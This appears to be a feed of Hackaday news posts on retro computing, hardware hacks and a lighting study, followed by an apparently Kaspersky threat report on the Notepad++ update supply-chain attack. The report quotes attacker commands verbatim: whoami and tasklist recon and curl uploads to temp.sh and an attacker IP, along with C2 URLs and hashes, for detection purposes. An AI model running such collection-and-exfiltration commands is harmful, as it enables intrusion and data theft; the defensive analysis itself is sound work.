The Commodore VIC-20 was a solid microcomputer that paved the way for the legendary Commodore 64 to come. If you’re a fan of the machine and want to revisit its glory days, you could hunt one down on an auction site and hope that it’s in working order. Or you could just emulate the VIC-20 in your browser thanks to the work of [Lance Ewing].

The project is called JVic—because it’s a VIC-20 emulator written in Java. It’s primarily intended for playing old VIC-20 games, and is designed with mobile devices front of mind—so it works well on a phone screen. You can enjoy the built-in library of games, or you can even direct JVic to boot up a ROM from a ZIP file hosted on a given URL or attached to a forum post. You can also install it on your own device rather than running it online, if so desired. [Lance] provides a range of setup options for running it locally or putting it on your own web server if that’s how you like to do things. Files are on Github for those eager to dive in.

We get lots of VIC-20 hacks around these parts. Even if it’s not the most popular machine that Commodore ever built, it’s certainly up there in the rankings. If you want to learn Forth, or even build a VIC-20 from scratch, we’ve explored that before. If you’ve got your own retrocomputer hacks kicking around, don’t hesitate to let us know!

[Thanks to Stephen Walters for the tip!]

hackaday.com/2026/02/03/a-vic-…

Very-long baseline interferometry (VLBI) is a technique in radio astronomy whereby multiple radio telescopes cooperate to bundle their received data and in effect create a much larger singular radio telescope. For this to work it is however essential to have exact timing and other relevant information to accurately match the signals from each individual radio telescope. As VLBI is used for increasingly higher ranges and bandwidths this makes synchronizing the signals much harder, but an optical frequency comb technique may offer a solution here.

In the paper by [Minji Hyun] et al. it’s detailed how they built the system and used it with the Korean VLBI Network (VLB) Yonsei radio telescope in Seoul as a proof of concept. This still uses the same hydrogen maser atomic clock as timing source, but with the optical transmission of the pulses a higher accuracy can be achieved, limited only by the photodiode on the receiving end.

In the demonstration up to 50 GHz was possible, but commercial 100 GHz photodiodes are available. It’s also possible to send additional signals via the fiber on different wavelengths for further functionality, all with the ultimately goal of better timing and adjustment for e.g. atmospheric fluctuations that can affect radio observations.

hackaday.com/2026/02/03/optica…

Part of traveling the world as an Anglophone involves the uncomfortable realization that everyone else is better at learning your language than people like you are at learning theirs. It’s particularly obvious in the world of programming languages, where English-derived language and syntax rules the roost.

It’s always IF foo THEN bar, and never SI foo ALORS bar. It is now possible to do something akin to OS foo YNA bar though, because [Richard Hainsworth] has created y Ddraig (the Dragon), a programming language using Welsh language as syntax. (The Welsh double D, “Dd” is pronounced something like an English soft “th” as in “their”)

Under the hood it’s not an entirely new language, instead it’s a Welsh localisation of the Raku language. A localisation file is created, that can as we understand it handle bidirectional transcription between languages. The write-up goes into detail about the process.

There will inevitably be people asking what the point of a programming language for a spoken language with under a million native speakers is, so it’s worth taking a look at that head on. It’s important for Welsh education and the Welsh tech sector because a a geeky kid in a Welsh-medium school Pwllheli deserves to code just as much as an English kid in a school near Oxford, but it goes far beyond Welsh alone. There are many languages and cultures across the world where English is not widely spoken, and every single one of them has those kids like us who pick up a computer and run with it. The more of them that can learn to code, and thrive without having the extra burden of knowing English, the better. Perhaps in a couple of decades we’ll be using code from people who learned this way, without our ever knowing it.

As your scribe, this needs to be added: Mae’n ddrwg gyda fi ffrendiau Cymraeg, mae Cymraeg i yn wael iawn. Dwi’n dôd o’r Rhydychen, ni Pwllheli.

Header image: Jeff Buck, CC BY-SA 2.0.

hackaday.com/2026/02/03/ysgrif…

Some time ago, Lego released a beautiful (and somewhat pricey) typewriter set that was modeled after one used by company founder Ole Kirk Kristiansen. To the disappointment of some, it doesn’t actually work—you can’t really write a letter with it. [Koenkun Bricks] decided to rectify this with their own functional design.

Right away, we’ll state that this is not a traditional typewriter. There are no off-the-shelf Lego components with embossed letters on them, so it wasn’t possible to make Lego type bars that could leave an impression on paper with the use of an inked ribbon. Instead, [Koenkun Bricks] decided to build a design that was Lego all the way down, right to the letters themselves. The complicated keyboard-actuated mechanism picks out flat letter tiles and punches them on to a flat Lego plate, creating a plastic document instead of a paper one.

It’s not perfect in operation. It has some issues unique to its mode of operation. Namely, the round letter tiles sometimes rotate the wrong way as they’re feeding through the typewriter’s mechanisms, so you get sideways letters on your finished document. It looks kind of cool, though. Outside of that, sometimes the letter pusher doesn’t quite seat the letter tiles fully on the document plate.

Overall, though, it’s a highly functional and impressive build. We’ve seen some other great DIY typewriters before, too, like this 3D printed build. Video after the break.

youtube.com/embed/ZIWTSkCVxjk?…

[Thanks to hn3000] for the tip!]

hackaday.com/2026/02/03/lego-t…

Two phases installed on the stator. (Credit: FarmCraft101, YouTube)
As part of his quest to find the best affordable generator for his DIY hydroelectric power system, [FarmCraft101] is trying out a range of off-the-shelf and DIY solutions, with in his most recent video trying his hands at the very relaxing activity of rewiring the stator of an alternator.

Normally car alternators output 12VDC after internal rectification, but due to the hundreds of meters from the turbine to the shed, he’d like a higher voltage to curb transmission losses. The easiest way to get a higher voltage out of a car alternator is to change up the wiring on the stator, which is definitely one of those highly educational tasks.

Disassembling an alternator is easy enough, but removing the copper windings from the stator is quite an ordeal, as they were not designed to ever move even a fraction of a millimeter after assembly.

With that arduous task finished, the rewinding was done using 22 AWG copper enamel wire, compared to the original 16 AWG wire, and increasing the loops per coil from 8 to 30. This rewinding isn’t too complicated if you know what you’re doing, with each coil on each of the three windings placed in an alternating fashion, matching the alternating South/North poles on the rotor.

Each phase’s winding is offset by two slots, leaving space for the other two phases, which then correspondingly are 90° out of phase when running, creating the three-phase AC output. This is further detailed in the video.

To make sure the windings do not short out on the stator, each slot has a bit of Nomex insulating paper placed into it, and a PETG 3D printed slot holder makes sure that none of the windings sneak out of their slot after installation.

The phases were connected in a Wye configuration, which gives it the maximum possible voltage rather than optimizing it for current as in a Delta configuration.

With the rewinding done, the alternator was reassembled, and the three-phase output of the new stator tested. After some trial and error it was able to do 200 VDC after passing it through an external rectifier, for a total of 700 Watt.

While not an unmitigated success, it seems quite possible to use this alternator as a higher-voltage generator with the hydro setup, especially after the upcoming replacement of the rotor’s electromagnet with neodymium magnets to further simplify it. As a bonus, if he ever needs to rebuild a broken alternator from scratch, rewinding a stator is now child’s play.

youtube.com/embed/22nm8y3pDxM?…

hackaday.com/2026/02/03/rewind…

My colleague Lewin on the other side of the world has recently bought himself a new camera. It’s a very cute little thing, a Kodak Charmera, the latest badge-engineered device to carry the venerable photography company’s name. It’s a keyring camera, not much bigger than my thumb, and packing a few-megapixel sensor and a little fixed-focus camera module. They’re all the rage and thus always sold out, so when I saw something similar on AliExpress for just under a tenner I was curious enough to drop in an order. How bad could it be?

A Blatant-Knock-Off With Interesting Internals

My G6 Thumb Camera arrived a few days later, as straightforward a copy of a branded product as I have seen, and while it’s by any measure not a high quality camera, I am pleasantly surprised how bad it isn’t. I’ve received a three megapixel camera with image and movie quality that’s far better than that of the kids toy cameras I’ve played with before at a similar price, and that’s something I find amazing. This isn’t a review of a cheap camera, instead it’s an investigation of what goes into a camera like this one. How can they make a camera that’s almost useful, for under a tenner?

If I were setting out to make this camera, I would reach for a microcontroller and one of the variety of cheap all-in-one camera modules on the market. You can buy just that for a similar price, the so-called ESP32-cam module, which pairs the Tensilica version of the microcontroller with a parallel-interface camera module. You can do all manner of hacks with an ESP32-cam and I have too, but unlike my knock-off Kodak it’s not quite fast enough for usable video. Plus, it doesn’t come with a battery and screen.

The little thumb camera is easy enough to crack open, and doing so reveals a small PCB with as expected a camera module dangling from it on a flexible PCB. It’s got a lens with an M8 mount which technically makes it an interchangeable lens camera, but we doubt anyone’s going to change lenses on this thing. Undoing a couple of screws, the board comes out along with the battery, speaker, and display connection, and on the reverse is the SoC, and a Flash memory chip. It’s an HX-Tech HX3302B, a dedicated IC for small cameras which appears in so many of these devices, but one which is sadly one of those Chinese chips for which almost no info can be found online. Oddly some of the best info comes from a familiar source, Sprite_TM has done a little hacking here and discovered that it has an openRISC 1000 core and the firmware is usually accessible, but beyond that no handy data sheets are to be had.

Just Good Enough To Be A Camera-As-A-Module

The focal plane focusing technique in action, in my digital Super 8 cartridge.
My camera then can be software-hacked, but not easily. If that were all then we’d be at the end of it, and I’d have merely another trinket. But there’s another reason I bought this thing, and that’s because I wanted a hardware hackable camera, not a software one. I want to use a small sensor like this behind all manner of custom lenses and mirrors in projects featuring repurposed 1970s snapshot cameras, and while I can and have used Raspberry Pi cameras and those ESP32s to do the job, that introduces annoying things like software and power systems to the equation. This camera has the germ of a digital camera as a module; I can take away the M8 lens and surround to replace it with my own optics, and in an instant I have a digital camera of my own without the hassle. Suddenly a just-good-enough novelty camera becomes rather interesting.

So my knock-off novelty integrates a package I would struggle to replicate for the price, and holds the promise of many creative camera hacks to come. I’ll probably follow the path I have with Pi cameras of fitting an M12 macro lens, and rear-focusing on the focal plane of a full-frame film camera for retro digital fun.

In the ten days or so since the work for this article started, the G6 Thumb Camera has been removed from AliExpress in Europe. You can still find it by switching your country to somewhere far-flung, but given that as you can see from the photos above it really is a blatant knock-off of the Kodak product it is hardly surprising that some lawyers have probably made a call. The good news is though that for hacking it doesn’t matter what the case says. I’ll be looking out for the inevitable follow-up, a thumb camera that’s not such a knock-off but which packs the same internals, and if you’re enjoying camera hacking, I suggest you do too.

Like many of us, [Tim]’s seen online videos of circuit sculptures containing illuminated LED filaments. Unlike most of us, however, he went a step further by using graph theory to design glowing structures made entirely of filaments.

The problem isn’t as straightforward as it might first appear: all the segments need to be illuminated, there should be as few powered junctions as possible, and to allow a single power supply voltage, all paths between powered junctions should have the same length. Ideally, all filaments would carry the same amount of current, but even if they don’t, the difference in brightness isn’t always noticeable. [Tim] found three ways to power these structures: direct current between fixed points, current supplied between alternating points so as to take different paths through the structure, and alternating current supplied between two fixed points (essentially, a glowing full-bridge rectifier).

To find workable structures, [Tim] represented circuits as directed graphs, with each junction being a vertex and each filament a directed edge, then developed filter criteria to find graphs corresponding to working circuits. In the case of power supplied from fixed points, the problem turned out to be equivalent to the edge-geodesic cover problem. Graphs that solve this problem are bipartite, which provided an effective filter criterion. The solutions this method found often had uneven brightness, so he also screened for circuits that could be decomposed into a set of paths that visit each edge exactly once – ensuring that each filament would receive the same current. He also found a set of conditions to identify circuits using rectifier-type alternating current driving, which you can see on the webpage he created to visualize the different possible structures.

We’ve seen some artistic illuminated circuit art before, some using LED filaments. This project doesn’t take exactly the same approach, but if you’re interested in more about graph theory and route planning, check out this article.

hackaday.com/2026/02/03/the-gr…

When looking back on classic gaming, there’s plenty of room for debate. What was the best Atari game? Which was the superior 16-bit console, the Genesis or the Super NES? Would the N64 have been more commercially successful if it had used CDs over cartridges? It goes on and on. Many of these questions are subjective, and have no definitive answer.

But even with so many opinions swirling around, there’s at least one point that anyone with even a passing knowledge of gaming history will agree with — the Virtual Boy is unquestionably the worst gaming system Nintendo ever produced. Which is what makes its return in 2026 all the more unexpected.

Released in Japan and North America in 1995, the Virtual Boy was touted as a revolution in gaming. It was the first mainstream consumer device capable of showing stereoscopic 3D imagery, powered by a 20 MHz 32-bit RISC CPU and a custom graphics processor developed by Nintendo to meet the unique challenges of rendering gameplay from two different perspectives simultaneously.

In many ways it’s the forebear of modern virtual reality (VR) headsets, but its high cost, small library of games, and the technical limitations of its unique display technology ultimately lead to it being pulled from shelves after less than a year on the market.

Now, 30 years after its disappointing debut, this groundbreaking system is getting a second chance. Later this month, Nintendo will be releasing a replica of the Virtual Boy into which players can insert their Switch or Switch 2 console. The device essentially works like Google Cardboard, and with the release of an official emulator, users will be able to play Virtual Boy games complete with the 3D effect the system was known for.

This is an exciting opportunity for those with an interest in classic gaming, as the relative rarity of the Virtual Boy has made it difficult to experience these games in the way they were meant to be played. It’s also reviving interest in this unique piece of hardware, and although we can’t turn back the clock on the financial failure of the Virtual Boy, perhaps a new generation can at least appreciate the engineering that made it possible.

Cutting Edge Technology

Looking at the Virtual Boy today, it’s easy to assume that it operates on more or less the same principles as modern VR headsets, with two independent displays used to show slightly different perspectives of the same scene to the player in order to trick their brain into seeing a three dimensional image. Indeed, that’s how it would be done today if you were to create a modern version of the Virtual Boy, and is essentially how the Switch version of the system will work.

That’s because today, thanks in large part to the demands of the smartphone market, we have access to miniature high-resolution displays. But the display technology of 1995 was very different, especially when it came to consumer devices. Released just five years prior, Sega’s Game Gear did feature a self-illuminated color display — but it was far too large and energy-hungry for this type of application.

The solution ended up coming from an American company, Reflection Technology. In the late 1980s they had developed a product called “The Private Eye”, a wearable monocle display that could connect to a standard computer. Utilizing the company’s patented Scanned Linear Array technology, it had a resolution of 720×280 and retailed for $795.

Reflection tried shopping the Scanned Linear Array technology around to other companies, including Sega, but were repeatedly turned down due to its cost and complexity. Eventually Gunpei Yokoi, head of Nintendo’s R&D and legendary creator of the Game Boy, came across the device and was impressed. He believed a scaled-down version of the technology could create a new type of gameplay experience that would be difficult for competitors to match, and so Nintendo entered into an exclusive licensing agreement for the Scanned Linear Array as it applied to gaming.

More than Meets the Eye

Contrary to our contemporary expectations, the Virtual Boy doesn’t have two screens. In fact, it doesn’t even have one. Instead, the Scanned Linear Array makes use of a single column of LEDs and a rapidly oscillating mirror to project an image into the user’s eye. By scanning back and forth across the eye fast enough, persistence of vision makes the viewer see a complete image.
From Patent 5003300A: “Head Mounted Display for Miniature Video Display System
The Private Eye used a single Scanned Linear Array element to create a 2D image in one eye, but the Virtual Boy featured two identical units to achieve its 3D effect. To bring the cost down, the resolution was dropped to 384×224, which corresponded to a column of 224 tiny LEDs for each eye. Recently The Slow Mo Guys on YouTube captured incredible footage of how the technology actually works inside the Virtual Boy, utilizing some clever video editing to demonstrate how each 1×244 LED array is able to draw out an entire frame of video.

youtube.com/embed/jW7M8H99x7Y?…

Monochromatic Miscalculation

As impressive as the Scanned Linear Array technology was, it had a critical flaw in that it could only produce an image in shades of red. While technically you could produce a full-color image via this method, it would require a red, green, and blue array for each eye, plus the necessary optics to combine their output.

By the time the Virtual Boy was being developed, blue LEDs were available but they were not yet common, and would have substantially raised the cost of the device. But even if this wasn’t the case, there was no way to fit all six LED arrays and the required optics into the Virtual Boy. As it was, the system was too heavy to wear like a modern VR headset, and needed to be held up to eye level with a tabletop stand. The power consumption would also have been prohibitive — even with just the two LED arrays, the system could only run for approximately four hours on six AA batteries.

Despite these challenges, Nintendo reportedly did experiment with versions of the Virtual Boy that could display more colors. But in the end, just like The Private Eye that came before it, the console was only capable of a red-on-black color scheme that users found unpleasant to view for extended periods of time. As if that wasn’t bad enough for a game system, many players experienced eyestrain from the 3D imagery, and even Nintendo’s own advertisements claimed children under the age of seven shouldn’t use the system due to the potential for eye damage.

The Modern Solution

While the Switch support for Virtual Boy games will at least mean these titles get to be played by a larger audience, there’s something bittersweet about how it will work. The Virtual Boy accessory for the Switch is nothing but a hollow plastic shell with a slot for the player to insert their Switch, and for those that don’t want to spend $99, Nintendo says there’ll even be a cardboard version that accomplishes the same goal. Like Google’s phone-based VR offering, all you really need is to hold a couple of lenses and partition off each eye.

All the heavy lifting will be done in software, with the two perspectives on gameplay being displayed in a split-screen fashion. A simple and easy to implement approach that takes advantage of the Switch’s modern high-resolution widescreen display and processing power.

It’s a logical solution to a problem which once took hundreds of dollars worth of custom hardware to solve, and will undoubtedly work even better than the original version. This is especially true since Nintendo has said they plan on adding support for rendering the games in colors other than red.

Still, it won’t be nearly as impressive as the engineering that went into the Virtual Boy itself. So if you find yourself playing Mario Tennis or Galactic Pinball through the literal rose-tinted glasses of the Switch’s upcoming accessory, take a moment to appreciate all the incredible work that went into developing the hardware capable of rendering them thirty years ago.

hackaday.com/2026/02/03/after-…

LED lighting is now commonplace across homes, businesses, and industrial settings. It uses little energy and provides a great deal of light. However, a new study suggests it may come with a trade-off. New research suggests human vision may not perform at its peak under this particular form of illumination.

The study ran with a small number of subjects (n=22) aged between 23 to 65 years. They were tested prior to the study for normal visual function and good health. Participants worked exclusively under LED lighting, with a select group then later also given supplemental incandescent light (with all its attendant extra wavelengths) in their working area—which appears to have been a typical workshop environment.
Incandescent bulbs have a much broader spectrum of output than even the best LEDs. Credit: Research paper
Notably, once incandescent lighting was introduced, those experimental subjects showed significant increases in visual performance using ChromaTest color contrast testing. This was noted across both tritan (blue) and protan (red) axes of the test, which involves picking out characters against a noisy background. Interestingly, the positive effect of the incandescent lighting did not immediately diminish when those individuals returned to using purely LED lighting once again. At tests 4 and 6 weeks after the incandescent lighting was removed, the individuals continued to score higher on the color contrast tests. Similar long-lasting effects have been noted in other studies involving supplementing LED lights with infrared wavelengths, however the boost has only lasted for around 5 days.

The exact mechanism at play here is unknown. The study authors speculate as to a range of complex physical and biological mechanisms that could be at play, but more research will be needed to tease out exactly what’s going on. In any case, it suggests there may be a very real positive effect on vision from the wider range of wavelengths provided by good old incandescent bulbs. As an aside, if you’ve figured out how to get 40/40 vision with a few cheap WS2812Bs, don’t hesitate to notify the tip line.

Thanks to [Keith Olson] for the tip!

hackaday.com/2026/02/03/led-in…

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ has been compromised. According to the statement, this was due to a hosting provider level incident, which occurred from June to September 2025. However, attackers were able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we have been amazed to find out how different and unique were the execution chains used in this supply chain attack. We identified that over the course of four months, from July to October 2025, attackers who have compromised Notepad++ have been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall designed to attack about a dozen machines, belonging to:

• Individuals located in Vietnam, El Salvador and Australia;
• A government organization located in the Philippines;
• A financial organization located in El Salvador;
• An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions have been able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1 — late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at 45.76.155[.]202/update/update.… Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer, of about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, has been described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

• Drops the following files to the %appdata%\ProShow directory:
  
  • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
  • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
  • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
  • proshow.crs (SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)
  • proshow.phd (SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)
  • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
  • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)

  
  

• Executes the dropped ProShow.exe file.

The launched ProShow.exe file is a legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers have decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contains two shellcodes — one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contains a set of meaningless instructions and is not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL 45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL 45.77.31[.]210/api/update/v1 and the POST request URL 45.77.31[.]210/api/FileUpload/…

Later on, in early August 2025, we have observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

• In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to cdncheck.it[.]com/users/admin;
• The Cobalt Strike C2 server URLs were set to cdncheck.it[.]com/api/update/v… and cdncheck.it[.]com/api/Metadata…

We have not further seen any infections leveraging chain #1 after early August 2025.

Chain #2 — middle and end of September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the 45.76.155[.]202/update/update.… URL, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

• Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
• Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

• They changed the working directory to %APPDATA%\Adobe\Scripts;
• They started collecting more system information details, changing the executed shell command to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same 45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it has been changed completely. The NSIS installer was configured to drop the following files to the %APPDATA%\Adobe\Scripts directory:

• alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
• lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
• script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
• alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the cdncheck.it[.]com/users/admin URL.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: cdncheck.it[.]com/api/getInfo/… and cdncheck.it[.]com/api/FileUplo…

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

• cmd /c whoami >> a.txt
• cmd /c tasklist >> a.txt
• cmd /c systeminfo >> a.txt
• cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands has been previously documented by the soft-parsley user on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. Using it, attackers performed the following:

• Changed the system information upload URL to self-dns.it[.]com/list;
• Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
• Changed the URL used by the Metasploit downloader to safe-dns.it[.]com/help/Get-Sta…
• Changed the Cobalt Strike Beacon C2 server URLs to safe-dns.it[.]com/resolve and safe-dns.it[.]com/dns-query.

Chain #3 — October 2025

In early October 2025, attackers changed the infection chain once again. They have as well changed the C2 server for distributing malicious updates, with the observed update URL being 45.32.144[.]255/update/update.… The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

• BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
• log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
• BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected with the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and 45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
2. The Beacon configurations are encrypted with the XOR key CRAZY;
3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and 45.77.31[.]210/api/FileUpload/… for the chain #1 payload).

Return of chain #2 and changes in URLs — October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: 95.179.213[.]0/update/update.e… Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

• 95.179.213[.]0/update/install.…
• 95.179.213[.]0/update/update.e…
• 95.179.213[.]0/update/AutoUpda…

We haven’t observed any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we have not seen any payloads being deployed starting from November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult and at the same time creative task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

• Check systems for deployments of NSIS installers, which have been used in all three observed execution chains. For example, this can be done by looking for logs related to creations of the %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
• Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
• Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
• Use specific IoCs listed below to identify known malicious domains and files.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
45.76.155[.]202/update/update.…
45.32.144[.]255/update/update.…
95.179.213[.]0/update/update.e…
95.179.213[.]0/update/install.…
95.179.213[.]0/update/AutoUpda…

System information upload URLs
45.76.155[.]202/list
self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
45.77.31[.]210/users/admin
cdncheck.it[.]com/users/admin
safe-dns.it[.]com/help/Get-Sta…

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
45.77.31[.]210/api/update/v1
45.77.31[.]210/api/FileUpload/…
cdncheck.it[.]com/api/update/v…
cdncheck.it[.]com/api/Metadata…
cdncheck.it[.]com/api/getInfo/…
cdncheck.it[.]com/api/FileUplo…
safe-dns.it[.]com/resolve
safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
api.skycloudcenter[.]com/a/cha…
api.wiresguard[.]com/update/v1
api.wiresguard[.]com/api/FileU…

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
59.110.7[.]32:8880/uffhxpSy
59.110.7[.]32:8880/api/getBasi…
59.110.7[.]32:8880/api/Metadat…
124.222.137[.]114:9999/3yZR31V…
124.222.137[.]114:9999/api/upd…
124.222.137[.]114:9999/api/Inf…
api.wiresguard[.]com/users/sys…
api.wiresguard[.]com/api/getIn…

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
